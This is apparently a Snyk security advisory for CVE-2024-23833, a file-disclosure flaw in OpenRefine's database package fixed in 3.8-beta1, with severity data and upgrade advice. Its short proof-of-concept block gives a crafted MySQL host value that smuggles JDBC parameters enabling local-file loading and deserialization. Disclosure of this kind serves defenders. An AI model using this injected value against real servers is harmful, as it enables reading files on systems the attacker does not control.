Uninitialized Memory Exposure Affecting org.openrefine:database package, versions [,3.8-beta1)


Severity

Recommended
0.0
high
0
10

CVSS assessment made by Snyk's Security Team. Learn more

Threat Intelligence

Exploit Maturity
Proof of concept
EPSS
0.11% (46th percentile)

Do your applications use this vulnerable package?

In a few clicks we can analyze your entire application and see what components are vulnerable in your application, and suggest you quick fixes.

Test your applications
  • Snyk IDSNYK-JAVA-ORGOPENREFINE-6247634
  • published15 Feb 2024
  • disclosed12 Feb 2024
  • creditUnknown

Introduced: 12 Feb 2024

CVE-2024-23833  (opens in a new tab)
CWE-201  (opens in a new tab)

How to fix?

Upgrade org.openrefine:database to version 3.8-beta1 or higher.

Overview

Affected versions of this package are vulnerable to Uninitialized Memory Exposure due to improper validation of user-supplied input in the getConnection method. An attacker can stand up a malicious MySQL Server to disclose files on the target server via JDBC connection string parameters.

Note: This is a bypass for CVE-2023-41887.

PoC

Type: MySQL
Host: 127.0.0.1:3306,(host=127.0.0.1,port=3306,autoDeserialize=true,allowLoadLocalInfile=true,allowUrlInLocalInfile=true,allowLoadLocalInfileInPath=true),127.0.0.1
Port: 3306
User: win_hosts
Database: test

References

CVSS Scores

version 3.1